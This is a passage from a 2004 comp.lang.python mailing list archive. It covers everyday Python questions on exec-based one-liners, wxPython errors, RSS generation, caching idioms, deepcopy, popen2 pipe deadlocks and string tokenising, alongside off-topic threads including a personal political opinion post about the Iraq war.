more than one line. I don't care whether it's "interesting", I just want to get some work done. And since most of the text processing tools in Unixes that I would otherwise use (grep, sed, tr) don't support Unicode, and are inconsistent in their regular expression notation to boot, it would be nice if I could write regex operations in a single, consistent programming language. Python is a single, consistent programming language, but as you say, it doesn't lend itself to one-liners. > You could write a "oneliners shell" that takes some > defined separator and turns it into a newline, of course, e.g.: > > bangoneliner.py: > #!/usr/bin/env python > import sys > oneliner = sys.argv.pop(1) > exec '\n'.join(oneliner.split('!')) > > now, sometying like > > bangoneliner.py 'for x in xrange(7):! if x%2:! print x' > > should work Hmm, I may give that a try...thanks! > note that inserting the spaces after the bangs to simulate > proper indentation IS a silly fuss, but you hafta...:-). Well, I guess I could translate some other char (one that's easier to count than spaces) into indents, too. Mike Maxwell From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sat Sep 18 07:45:58 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Sat, 18 Sep 2004 13:45:58 +0200 Subject: Database->python->Xml->Xslt->Client References: <4c900ea0.0409172237.3e5abf25@posting.google.com> <1gkb1h7.8azms01gn7bxsN%aleaxit@yahoo.com> Message-ID: Hi ! HTML also is verbose... From adalke at mindspring.com Fri Sep 10 12:57:27 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 10 Sep 2004 16:57:27 GMT Subject: RSS generation In-Reply-To: References: Message-ID: Jesper Olsen wrote: > I'm looking for a python module which can help generate RSS feeds > in various formats - 0.92, 1.0, 2.0, atom etc... > > Does something like that like that exist - non zope based? About a year ago I wrote PyRSS2Gen to generate RSS2 from a Python data structure. It's at http://www.dalkescientific.com/Python/PyRSS2Gen.html It doesn't support the different variations. I didn't come across any other tool to generate RSS output as as standalone library, much less the different versions. Feel free to use it as a base for future work. The only bug I've come across is with how it deals with Unicode, but I've not pushed it that hard. Andrew dalke at dalkescientific.com From jmfbahciv at aol.com Fri Sep 3 06:27:38 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Fri, 03 Sep 04 10:27:38 GMT Subject: Xah Lee's Unixism References: <10jepndi1en2id8@corp.supernews.com> Message-ID: <413859f1$0$19713$61fed72c@news.rcn.com> In article <10jepndi1en2id8 at corp.supernews.com>, SM Ryan wrote: ># > Not exactly a typical editor function, agreed. I was feeling a little ># > whimsical at the time. ># ># i once did a random email/usenet signature with zippy/yow ... but i ># added two other files to it ... and then i had to fix a feature in ># yow. yow uses a 16bit random number to index a yow file ... it was ok ># as long as your sayings file was less than 64kbytes. i had to modify ># yow to handle files larger than 64kbytes ... the "sayings" file used ># for 6670 separater pages was 167k bytes and the jargon file was 413k ># bytes ... while a current zippy yow file is 52,800 bytes. > >It's nice to know people still have time to work on >really important things. Before you choke on your stuffiness, you should know that playing uncovered an ungodly number of bugs that would have never been exercised doing computing that had been approved by PHBs. /BAH Subtract a hundred and four for e-mail. From mesteve_b at hotmail.com Sun Sep 26 03:14:36 2004 From: mesteve_b at hotmail.com (python newbie) Date: Sun, 26 Sep 2004 07:14:36 GMT Subject: Please Hlp with msg: "The C++ part of the StaticText object has been deleted" References: <3it5d.3229$nj.2390@newssvr13.news.prodigy.com> Message-ID: Sounds like a plan. Did a google group search originally, and I couldn't find this info you just provided, so thanks a lot. "Mike C. Fletcher" wrote in message news:mailman.3922.1096182354.5135.python-list at python.org... > wxPyDeadObjectError is a catch that prevents you from getting a core > dump/memory-access-violation when you try to call a method or access an > attribute of an object which has already been cleaned up/destroyed by the > system. wxPyDeadObject's evaluate to false, so you can do this: > if self.testLab: > self.testLab.SetLabel('test') > or you can just catch the error: > > try: > self.testLab.SetLabel( 'test' ) > except wx.PyDeadObjectError, err: > pass # just ignore it... > > In this case, it looks like the event is occurring after the testLab > widget has been destroyed. Since you likely don't want to change the > appearance of it at that point, nothing is lost. > > HTH, > Mike > > python newbie wrote: > ... > >> File "E:\MyProjects1\python\backup\wxProject.py", line 294, in >>OnNodeChanged >> self.testLab.SetLabel('test') >> File "C:\Python23\Lib\site-packages\wx\_core.py", line 10617, in >>__getattr__ >> raise PyDeadObjectError(self.attrStr % self._name) >>wx._core.PyDeadObjectError: The C++ part of the StaticText object has been >>deleted, attribute access no longer allowed. >> > ... > ________________________________________________ > Mike C. Fletcher > Designer, VR Plumber, Coder > http://www.vrplumber.com > http://blog.vrplumber.com > From spam at nimblegen.com Wed Sep 15 10:23:11 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Wed, 15 Sep 2004 09:23:11 -0500 Subject: Xah Lee's Unixism In-Reply-To: References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: Greg Menke wrote: > Chuck Dillon writes: > >>Greg Menke wrote: >> >>>Chuck Dillon writes: >>> >>> >>>>Antony Sequeira wrote: >>>> >>>> >>>> >> >>Regardless of how we got where we are there are arguably benefits to >>the "war on terror". That doesn't mean you should miopically focus on >>them as the sole rationale for regime change in Iraq. See the various >>U.N Security Counsil resolutions for the primary rationale. Also, see >>the reports from Blix et.al. that point out the lack of cooperation on >>the part of the Iraqi government. > > > I still fail to see why invading Iraq has anything to do with "war on > terror". If the goal is to fight terror (laudable), then why are we > not invading the countries that actually sponsor it? Afganistan was > the right step- but who the hell cares if Iraq "obeyed" the > resolutions? ... I suggest you look a little deeper into the problem than simply which states are undergoing what problematic behaviors now or recently. What is the underlying cause of the terror and how can we address that? No it's not oil. It is the pressure of social and political change in the Islamic world that has tried for generations to isolate itself from, what you and I would call progressive changes, happening elsewhere in the world. The ever shrinking world is breaking down their methods of isolation and bringing the fundamental conflicts between traditional Islam and the modern world to a head. The changes that occurred over generations in the west and far east are being flooded on Islam in a fraction of the time. It's no surprise, to me at least, that there are side effects. A similar thing would happen if we were talking about applying comparable pressure on Catholicism or any other religion. It's not specific to Islam. The west has for a long time taken a hands off "let nature take its course" approach. Islamic terrorism was an unfortunate side effect that could be mostly ignored as long as it remained at an acceptable level and mostly contained in the middle east. Israel has been in a very disadvantages position as a result of this approach by the west. 9/11 blew that norm to hell. Bin Laden (and others of his ilk) is, IMHO, similar to what Charlie Manson was except that where Manson had a relatively small pool of young disillusioned people susceptible to his powers of manipulation, bin Laden has many millions. Where Manson had no resources bin Laden has wealthy backers who want to hold on to their power. So now the west must take a more active role in the situation. We need to find a way to contain the problem to the middle east and try to achieve the prior norm, with a level of acceptable terrorism. And we need to impress on the Islamic leadership (i.e. clerics) as well as governments that they must take responsibility for dealing with the side effects of social change. Going into Iraq was IMHO justified without consideration of 9/11 or the war on terror. Setting up a more democratic and educated Afghanistan and Iraq blows a big whole in Islam's isolation efforts and forces them to deal with the reality of the 21st century. The process will be bumpy but we can no longer be patient when the mainstream of Islam allow violence on the scale of 9/11 or beyond to occur. As for the go it alone issue. Given the above "theory" if you prefer and what happened on 9/11. It seems natural that we (the USA) would have a more acute interest in replacing the "let nature take its course" strategy with a more active one than other western nations that were not directly attacked. Those other nations might call for us to be patient and accept the cost. Basically what we and the rest of the western world have asked Israel to do for some 50 years. It's not surprising that the decision to take a more active strategy toward the middle east was less than unanimous. It also would not be surprising for only one or two nations to take the lead and therefor the brunt of the near term acute risk of reprisals while other nations give passive support. That's how I see it at least. -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From carribeiro at gmail.com Thu Sep 23 16:18:17 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 23 Sep 2004 17:18:17 -0300 Subject: Call for suggestions: Declaring data entry forms using Python classes In-Reply-To: References: Message-ID: <864d3709040923131821ee61e8@mail.gmail.com> On 23 Sep 2004 19:53:37 GMT, Bengt Richter wrote: > On Thu, 23 Sep 2004 13:36:19 -0300, Carlos Ribeiro wrote: > > >Hello all, > > > >I'm posting this to the list with the intention to form a group of > >people interested in this type of solution. I'm not going to spam the > >list with it, unless for occasional and relevant announcements. If > >you're interested, drop me a note. But if for some reason you think > >that this discussion is fine here at the c.l.py, please let me know. > > > No comment for now other than suggesting replacing pass with def __repr__ in > > class Component(object): > def __repr__(self): return '' % type(self).__name__ > > for a more userfriendly printout. Interesting stuff. I wonder about > one-dimensional position vs composing with various top/left/right/bottom/fill > aggregation indicator info etc. I'm doing stuff like this right now. My debug display was awful, it's nicer after some __repr__() customization. I've also changed some class names and moved the basic metaclass stuff in a module of their own, called "metacontainer". It will make easier to reuse the basic engine while I'm testing it. > IOW, you are using python in a certain way in order to be able to "spell" your > form-descriptions in a certain way. How would you spell them if you were not > constrained by python syntax? I regard this as an experiment. I don't know if it will be successful or not, but I have to try it first ;-). I have a hunch that it will be more usable in the long run, even with all constraints imposed by Python syntax, than to define yet another language. BTW, one can think about the constraints as problems, but they have a definitive advantage: they limit the scope of the problem to a much more manageable size. I've seen plenty of projects for description languages go nowhere, partly because people would spend a lot of time arguing on how should things be structured :-) Finally, I ask you to think about it for a while. It's still not usable, but it may be really soon. I'm confident that, once one starts using it, it will feel more natural than to have to work with yet another language (as Tanebaum once said, there's a nice thing about standards -- there are so many to choose from). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From timr at probo.com Thu Sep 9 02:28:45 2004 From: timr at probo.com (Tim Roberts) Date: Wed, 08 Sep 2004 23:28:45 -0700 Subject: Python Interpreter question. References: Message-ID: "Terry Reedy" wrote: > >Would you be shocked to also learn that humanly programmed languages are >generally not compiled to actual machine code, but, as I understand it, to >multibyte code which invokes subroutines written in actual machine code, >which is usually called microcode. One can, I believe, think of Pentiums >and Athlons, for instance, as hardware interpreters or emulators of what is >now mostly the virtual 386 machine (plus extensions). Intel and AMD can >change the real machine code as they please as long as they properly >emulate the 386, as seen from the programmer view. Whether the 386 machine >was ever a real machine or whether it was also microcoded, I do not know. This has changed over time. The 386, 486, and Pentium are partly microcoded. The complicated instructions are in microcode, but the most common instructions are hardwired. This results in many non-intuitive situations in which a single, complicated instruction would take longer than a sequence of two or three simpler instructions. Starting with the PentiumPro, all instructions are chopped into "micro-operations", the pieces of which can be executed out of order. This renders instruction timing practically impossible... -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From bokr at oz.net Tue Sep 28 17:07:27 2004 From: bokr at oz.net (Bengt Richter) Date: 28 Sep 2004 21:07:27 GMT Subject: Metaclass with name overloading. References: <1gktv1h.lew418131v342N%aleaxit@yahoo.com> Message-ID: On Tue, 28 Sep 2004 14:37:31 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: [...] > >At this point, your templating is not declarative -- it's imperative. >Like everything in Python, btw -- not ONE 'declarative' in sight (except >the 'global' statement, which is part of what makes it a wart;-). Hm ;-) Is a module source a declaration of (imperative) intent, passive until imported? ISTM we are getting into shades of semantics. Interesting though ;-) For a language that plays well both ways, I would try scheme or lisp, I think. Regards, Bengt Richter From yk.suse at bullier.org Wed Sep 8 09:17:47 2004 From: yk.suse at bullier.org (Yann.K) Date: Wed, 08 Sep 2004 15:17:47 +0200 Subject: TKinter + display of a shell command return Message-ID: Hello. Using Tkinter, i would create a widget which display a shell command return. This return is long, and i would display a real time display (like with the tail -f commande on Linux) I think to use the text widget. I have no problem to execute the command, but how to display, in a *real-time* fashion the shell retrun? If you have a track or an idee... Thanks for your help. -- Yann.K From steven.bethard at gmail.com Wed Sep 15 12:20:40 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 15 Sep 2004 16:20:40 +0000 (UTC) Subject: The pythonic approach References: <414656ab$0$4777$a729d347@news.telepac.pt> <0dS1d.52$AA4.38@read3.inet.fi> Message-ID: Peter Hansen engcorp.com> writes: > (My gut tells me that if this were something that was > required in real code, it would actually be using an > existing dictionary (not one created with a single > entry just before the function) and the best code > would be an inline .get() rather than a function call, > and that x might not even be its own default, but > I can't imagine what real code this corresponds to > so that's all I have to say about that. I actually wrote code not too long ago that did make a call like .get(x, x). I had a dictionary of word stems, e.g. {"invention":"invent", "assistance":"assist", ...} read in from a file. For the particular app, if there was no stem for a word, I wanted to get the word back. I didn't have a function for it in my code, but I don't see why a function like: def getstem(self, word): return self.stemdict.get(word, word) would be so unreasonable. I don't know why you would have to "pause to realize" that .get(x, x) returns x as the default any more than you'd have to "pause to realize" that .get(x, y) returns y as the default... Steve From bokr at oz.net Tue Sep 28 16:42:30 2004 From: bokr at oz.net (Bengt Richter) Date: 28 Sep 2004 20:42:30 GMT Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> <2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com> <1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com> <1gku5es.10velnbpabcqeN%aleaxit@yahoo.com> Message-ID: On Tue, 28 Sep 2004 19:12:16 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: [...] >> >As for 'risky', both approaches are. The default argument risks the >> >user mistakenly passing a corresponding actual-argment; the function >> >attribute risks the user rebinding the name. >> >> ? > >import math > >def f(x): > try: return f.cache[x] > except KeyError: > f.cache[x] = result = math.sin(x) > return result >f.cache = {} > >def g(x): > try: return g.cache[x] > except KeyError: > g.cache[x] = result = math.cos(x) > return result >g.cache = {} > >print f(0.2), g(0.2), f(0.2), g(0.3) > ># note: oops coming >f, g = g, f > >print f(0.2), g(0.2), f(0.2), g(0.3) > > >Basically, the idea of having f use f.cache depends on the unstated >assumption that global name 'f' will forevermore refer to the same >object it used to refer to at the time f.cache was initialized and the >first few entries of f.cache were set. You say you consider it "risky" >to use f's default attribute values (which stick to the object, not to >the name), and I reply, _THIS_ inferior idiom you advocate is the truly >risky one -- it relies on a "fixed" name<->object correspondence which >NOTHING in Python guarantees or even suggests. > Thanks for highlighting this. It is one of my pet peeves that there is no local "self" reference available for a function or class etc., and no way (other than one-at-a-time method-self binding) to get a def-time expression value bound to a locally visible name. Maybe we could have a triple star in the arg list to delimit syntax and effect like defaults but which don't become part of the arg count? E.g., def f(x, *** cache={}, pi = __import__('math').pi): try: return cache[x] ...etc Or arrange it differently, and add comments def f(x, *** # presets cache={}, # XXX lru later ;-) pi = __import__('math').pi ): # run time try: return cache[x] ...etc > >> Passing a parameter to a function that, by the way, is declaring >> it *wants* it doesn't seem to me the same as messing with >> internals of something from the outside. > >If you want to hint that a parameter is really 'internal' name it with a >leading underscore, that's Python's convention. > > >> >here you get two separate caches, one for base.f and one for derived.f, >> >no sweat -- and if you want base.f to use derived.f's cache when call >> >from there, just chance the last call to 'base.f(self, x, cache)' -- >> >obvious, simple, elementary. >> >> When you need to mess with the those vars from the "outside" then >> it's clear you're not looking for a static; probably you're not >> even looking for a function as the interaction with the "state" is >> getting too important. IMO in these cases it's *way* better to >> use a class instead (may be one implementing the call interface). > >And go to the huge trouble of simulating method-binding?! Puh-LEEZE. >Using callable classes in lieu of a class's ordinary methods, when such >methods with perfectly normal Python semantics will do, is just plain >silly -- looking for complexity where no need for it exists. > I'm not sure why you didn't mention the alternative of not simulating but actually using the mechanism of method binding, e.g., >>> import math >>> def f(cache, x): ... try: return cache[x] ... except KeyError: ... cache[x] = result = math.sin(x) ... return result ... >>> f = f.__get__({}, dict) >>> f >>> f(math.pi/6.) 0.49999999999999994 >>> f.im_self {0.52359877559829882: 0.49999999999999994} >>> f(0.0) 0.0 >>> f.im_self {0.52359877559829882: 0.49999999999999994, 0.0: 0.0} And you can't pass extra arguments ... (BTW, (to OP) note that f sees bound "self" (the cache) as part of the arg count, the way f the function sees it. This would have been be clearer if I had not rebound 'f') >>> f({}, 0.0) Traceback (most recent call last): File "", line 1, in ? TypeError: f() takes exactly 2 arguments (3 given) Regards, Bengt Richter From peter at engcorp.com Tue Sep 14 06:29:02 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 06:29:02 -0400 Subject: Greenlets: where are they now??? In-Reply-To: References: <29Cdnar3ZOqUFtjcRVn-pg@powergate.ca> Message-ID: David Pokorny wrote: > "Peter Hansen" wrote: >>Python's regular threads already allow this, so there must be >>something more to it. > > I haven't the faintest idea how to gain fine control over threads. Not sure what you mean by "fine control". I was reacting to the "run for 50 bytecodes" part, which is something all threads do, based on the current value of sys.setcheckinterval() (which defaults to 100 now, if I recall correctly). > In > particular, suppose I have 10 of these "executions" going (lets call them > "steplets") and I want to run each of them for 50 byte-codes, then switch > back to the controlling thread and do lots of bookkeeping (I don't control > the code that the steplets run). Not exactly something regular threads let you do under direct control, though of course the main thread will run in due course anyway. > I also have a bunch of other processes that > I don't want to take part in this "cycle rationing" but rather run as honest > threads. It almost sounds like you want to do this to prevent these other threads from being able to take up too much CPU time. I don't believe the greenlets approach would necessarily guarantee that, either, since there are bytecodes that can consume unbounded amounts of time. You've described the characteristics that you think your solution requires, but still not the actual problem. I suspect the application you have is similar to ones where the usual response in this newsgroup has been to point out that ultimately only running this stuff in another process will provide the guarantees you might need. (Though this "fine-grained control with bookkeeping" thing is a little different from the usual requests.) -Peter From BrenBarn at aol.com Thu Sep 9 23:04:54 2004 From: BrenBarn at aol.com (OKB (not okblacke)) Date: 10 Sep 2004 03:04:54 GMT Subject: deepcopy raises TypeError for method/function? References: <1gjvbxx.1am7i1jvn6ht7N%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: >> Does anyone have any pointers on this? It seems that >> certain types >> are safe to deepcopy (even if they're not actually copied) whereas >> others are not. Do I just have to manually typecheck for >> functions and methods? Are there any other types that might raise >> such an error? > > You can use copy_reg to register an identity function as the way to > 'copy' function and methods, if that floats your boat. And sure, > there are other types that raise errors, imagine copying a file > object, a socket, ...! Wasn't someone just saying on another thread, though, that copy doesn't "officially" use copy_reg? Anyway, I guess my real question is, is there any safe way to do something like for a in someList: b = copy.deepcopy(a) . . . without having to know ahead of time what kinds of objects are in someList? I could maybe use try/except to catch failure, but if deepcopy fails like it did with methods, will it always throw a TypeError, or might it raise some other kind of error? Alternatively, is there a way to tell without actually attempting the deepcopy whether it will be able to copy the object or not? -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From me at privacy.net Fri Sep 24 19:21:14 2004 From: me at privacy.net (Richard Hanson) Date: Fri, 24 Sep 2004 16:21:14 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <10l90qcihqrjba1@corp.supernews.com> Message-ID: <6799l0pal6hmm3ssnvfi6fb8ki6j5o94na@4ax.com> Jeff Shannon wrote: > Ville Vainio wrote: > > >>>>>>"Richard" == Richard Hanson writes: > >>>>>> > >>>>>> > > > > Richard> undecidable things left unsaid for now. It is a commonly > > Richard> accepted thesis that the universe is evolving following > > Richard> some, possibly ultimately unknowable, immutable set of > > Richard> laws. Humans *do* seem to do > > > >Is it? For some reason or another, many seem to believe that quantum > >mechanics provides some blissfull exit from the immutable set of laws > >(and deterministic universe). It's a place where God throws dice every > >time a particle hits another. > > Ah, but quantum mechanics are still a (supposedly) immutable set of laws > -- they are nondeterministic laws, to be sure, but that doesn't prevent > them from being laws. Quantum uncertainty follows a specific set of > rules, even if we haven't figured out what all of those rules are, and > even if those rules are expressed in probabilities. If one were to > believe that the universe did not follow an immutable (or nearly so) set > of laws, then one would also necessarily believe that science is > pointless, since the purpose of science is to try to figure out the laws > by which the universe operates. God may throw dice, but if we're > careful we can reconstruct the rules of the game He's playing. :) And -- keeping it well in mind that I am only a mere autodidact ;-) -- I am starting to align with the quantum-loop-gravity, spin-foam, M-brane (generalized string theory), and such theorists. It is possible that in the higher-dimensioned theories, quantum mechanics will turn out to be deterministic. Or, at least that's what I'm quite foggily gathering from hanging out on sci.physics.research and other suchlike readings. :-) Richard Hanson -- sickoldfartnewsguycom From aleaxit at yahoo.com Sun Sep 5 12:41:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 18:41:03 +0200 Subject: Method returning new instance of class? References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> Message-ID: <1gjlqvy.1nce1le1pidh7jN%aleaxit@yahoo.com> Arthur wrote: > A bit inspired by the decorator discussions, I'm trying to tackle something > I had been avoiding. > > Essentially I am trying to create a non-destructive tranformation of an > instance of a class - is one way of putting it. > > The way I am currently conceptualizing a solution, what I need is a method > of the class that returns a new instance of the class. theclass.__new__(theclass, *args, **kwds) is one way to return a new instance of class theclass, which will typically be empty (unless theclass's instances are immutable, since, in that case, __new__ must do the initializaiton work... because it would be too late by __init__ time). Not clear if it's what you need, but it seems to be what you ask for. Alex From tonino.greco at gmail.com Thu Sep 9 11:00:42 2004 From: tonino.greco at gmail.com (TAG) Date: Thu, 9 Sep 2004 17:00:42 +0200 Subject: simple string parsing ? In-Reply-To: <0C77C7530EA52A4EBD1C47C80D1D291E17DE7A@sbs.GuidanceBV.local> References: <0C77C7530EA52A4EBD1C47C80D1D291E17DE7A@sbs.GuidanceBV.local> Message-ID: <5db3bf000409090800eca0881@mail.gmail.com> Thanks for this -I will lookit TPG :) Tonino On Thu, 9 Sep 2004 16:20:15 +0200, Marc Boeren wrote: > > > > > =+GC142*(GC94+0.5*sum(GC96:GC101)) > > > > and I want to get : > > > > ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', > > 'GC96', ':', 'GC101', ')', ')'] > > > > how can I get this ?????? > > The quick and dirty way: you have a formula containing a lot of > delimiters. Any part of the string that is not a delimiter is grouped > into a substring. So: > > >>> formula = '=+GC142*(GC94+0.5*sum(GC96:GC101))' > >>> delimiters = '=+*():' > >>> parts = [] > >>> appending = False > >>> for char in formula: > ... if char in delimiters: > ... parts+= [char] > ... appending = False > ... else: > ... if appending: > ... parts[-1]+= char > ... else: > ... parts+= [char] > ... appending = True > ... > >>> parts > ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', > 'GC96', ':', 'GC101', ')', ')'] > > This is simply to get you what you want, if you wish to use this formula > to actually compute something, it may be wise to dive into the various > parser packages, I found TPG (Toy Parser Generator) easy to use for > simple things... > > Cheerio, Marc. > From ad at astral-on.net Fri Sep 17 08:14:43 2004 From: ad at astral-on.net (Andrew Degtiariov) Date: Fri, 17 Sep 2004 15:14:43 +0300 (EEST) Subject: [implement python code in C] can't set attributes of built-in/extension type Message-ID: <20040917121443.GE46803@astral-on.net> Hello! I tried to rewrite my python module in C. My module is successfully imported but i can't assing anything to class attributes (tp_setattr in PyTypeObject for class FlowReportRow filled up by pointer to FlowReportRowObjectSetAttr function and printf in ones show the function does not called) Where I was mistaken? (you may see the module sources at http://astral.ua/~ad/Report.c) I wrote simple test: import Reports row = Reports.FlowReportRow print dir(row) row.show_local_ip = 1 And it displays: ad at odin:share>python test.py ['__class__', '__delattr__', '__doc__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__str__', 'add', 'add2'] Traceback (most recent call last): File "test.py", line 6, in ? row.show_local_ip = 1 TypeError: can't set attributes of built-in/extension type 'FlowReportRow' ad at odin:share> -- Andrew Degtiariov DA-RIPE From clifford.wells at comcast.net Mon Sep 13 16:32:46 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Mon, 13 Sep 2004 13:32:46 -0700 Subject: Best way to compare the contents of two directories In-Reply-To: <95c29a5e.0409131037.430cbce8@posting.google.com> References: <95c29a5e.0409111640.6980271f@posting.google.com> <95c29a5e.0409131037.430cbce8@posting.google.com> Message-ID: <1095107566.26967.70.camel@devilbox.devilnet.internal> On Mon, 2004-09-13 at 11:37 -0700, Robin Siebler wrote: > "Raymond Hettinger" wrote in message news:... > > [Robin Siebler] > > > However, before I actually compare the files, I want to compare the > > > directories and if a directory is mising in either set, I want to > > > report it: > > > > The operative word is "set". > > > > Try using sets.py: > > one_only = Set(dirlistone) - Set(dirlisttwo) > > two_only = Set(dirlisttwo) - Set(dirlistone) > > > > > > Raymond Hettinger > > I get the following error: > > NameError: name 'Set' is not defined > > I'm using ActivePython 2.2.3. Is this something that has been added > to a later version of Python? I think sets were added in 2.3, but either way you must still 'from sets import Set' before using them. Regards, Cliff -- Cliff Wells From cliechti at gmx.net Mon Sep 6 14:04:25 2004 From: cliechti at gmx.net (Chris Liechti) Date: Mon, 6 Sep 2004 18:04:25 +0000 (UTC) Subject: python memory analysis References: <200409061457.50722.alexander.hoffmann@netgenius.de> Message-ID: Alexander Hoffmann wrote in news:mailman.2933.1094487476.5135.python-list at python.org: > Hello Jeremy, > Thanks for your help ! > > Indeed a first invocation of gc.get_objects already gave me an idea > about what might go wrong. It seems like the garbage collector does > not remove objects a and b if a references b even though no one else > references either a or b. the GC cant remove cycles with objects that contain a __del__ method. non cycles are removed by reference counting anayway. either dont make circles or don't use __del__, maybe the weakref module can be of some use too. chris > I will continue my analysis. > > Thanks, > Alex > > On Monday 06 September 2004 17:38, Jeremy Bowers wrote: >> On Mon, 06 Sep 2004 16:51:09 +0200, Alexander Hoffmann wrote: >> > You probably mean to utilize gc.get_objects and build some kind of >> > statics upon it, don't you ? >> > Ok, so this means there is indeed no tool which will help me with >> > that ? >> > :-( >> > >> > -alex >> >> So far, every time I've had a memory leak in Python, simply running >> the process until it leaks for a while, then looking at >> gc.get_objects(), has made it immediately clear what was being >> leaked. (Regretfully, I have never been able to isolate a test case >> for any of these leaks.) You usually see a bajillion instances of >> some class and that has always been enough of a clue. >> >> Due to how Python works, I'm not sure it is even possible to create a >> tool that does any better than that. It is meaningful to talk about a >> C function that "leaks memory" by allocating and never deallocating, >> but it is much trickier to assign "blame" in Python in a way that >> could ever have meaning to a tool. If the object is left lying around >> it is already because the computer believes somebody has a reference >> to it; how is the computer to "know" this reference isn't "real"? >> (Assuming no bugs in Python of course, but even so you're left with >> the same problem.) > > -- Chris From hercules.rockefeller at springfield.??.us Mon Sep 27 15:13:00 2004 From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein) Date: Mon, 27 Sep 2004 15:13:00 -0400 Subject: Trouble with popen2 Message-ID: <0DZ5d.6$Za.5@llslave.llan.ll.mit.edu> I am running an external command and I need to know a) when it is done and b) what it wrote to both stdout and stderr. After a little searching, I found the popen2 module and used the Popen3 class. I'm having trouble with it hanging, though. Here is a very well put (by someone else) posting that describes some background: http://mail.python.org/pipermail/python-list/2004-July/230837.html I came to a similar conclusion as that poster and his workaround (independently discovered by me) does do the job he requires. However, I need to also read stderr, so I made this sample writer and runner: ------- #!/usr/bin/python import sys for line in range(0, int(sys.argv[1])): print "X" * 120 print >>sys.stderr, "hi" ------- #!/usr/bin/python import popen2 f = popen2.Popen3("./writer.py 50000", True) outs = [] errs = [] while (f.poll() == -1): errs += f.childerr.readlines() outs += f.fromchild.readlines() ----- This hangs in the childerr.readlines(). Is it blocking? If so, why? In any case, how can I be sure to read ALL data from BOTH stderr and stdout and not be in danger of hanging? PS: I just found that if I swap the order of the readlines() statements, it works. But I don't want to use that until I understand why. I suspect it's a race condition and I don't want to rely on that. From elainejackson7355 at home.com Thu Sep 16 22:58:44 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Fri, 17 Sep 2004 02:58:44 GMT Subject: "Updating" lambda functions References: <2qtl0oF139gn6U1@uni-berlin.de> Message-ID: "Terry Reedy" wrote in message news:mailman.3428.1095385637.5135.python-list at python.org... | I am curious if there is any reason other that habit carried over from | other languages to not write the above as | | def fu(x): return x | def fu(x): return fu(x) + 17 | etc In my interpreter (IDLE 1.0 on Windows 98) it causes an infinite regress. From steven.bethard at gmail.com Mon Sep 6 17:25:47 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 6 Sep 2004 21:25:47 +0000 (UTC) Subject: Ramanujan & Python References: <1094500087.413cbef74a66f@webmail.oregonstate.edu> Message-ID: engr.orst.edu> writes: > Ramanujan, an Indian mathematician, was once visited in the hospital > by G. H. Hardy, a prominant English mathematician. Hardy remarked > that he had taken taxi number 1729, and Ramanujan quickly replied > that 1729 is remarkable, as it is the smallest integer that can be > represented in two ways by the sum of two cubes: 1729 = 1**3 + 12**3 > = 9**3 + 10**3 [1]. >>> from itertools import count >>> def ramanujan(p): ... hist = {} ... for x in count(1): ... for y in range(1, x+1): ... sum = x**p + y**p ... if sum in hist: ... return sum, hist[sum], (x, y) ... hist[sum] = (x, y) ... >>> ramanujan(2) (50, (5, 5), (7, 1)) >>> ramanujan(3) (1729, (10, 9), (12, 1)) >>> ramanujan(4) (635318657, (134, 133), (158, 59)) Cool. =) Steve From alexander.hoffmann at netgenius.de Sun Sep 26 08:53:53 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Sun, 26 Sep 2004 14:53:53 +0200 Subject: Blender! In-Reply-To: References: Message-ID: <200409261453.53174.alexander.hoffmann@netgenius.de> Hello, If you choose English to describe your problem/question, a lot more people will be able to understand and help you. Regards, Alex On Sunday 26 September 2004 11:00, Frate wrote: > Ciao a tutti > allora, ho scaricato e installato blender, ma quando in python(2.3) compilo > un file di esempio mi dice che non trova il modulo blender.. io ho aggiunto > come variabile path (sul mio xp) la directory di bender. ma cmq non va? > come mai? From stanb45 at dial.pipex.com Wed Sep 1 13:32:08 2004 From: stanb45 at dial.pipex.com (Stan Barr) Date: 01 Sep 2004 17:32:08 GMT Subject: Xah Lee's Unixism References: 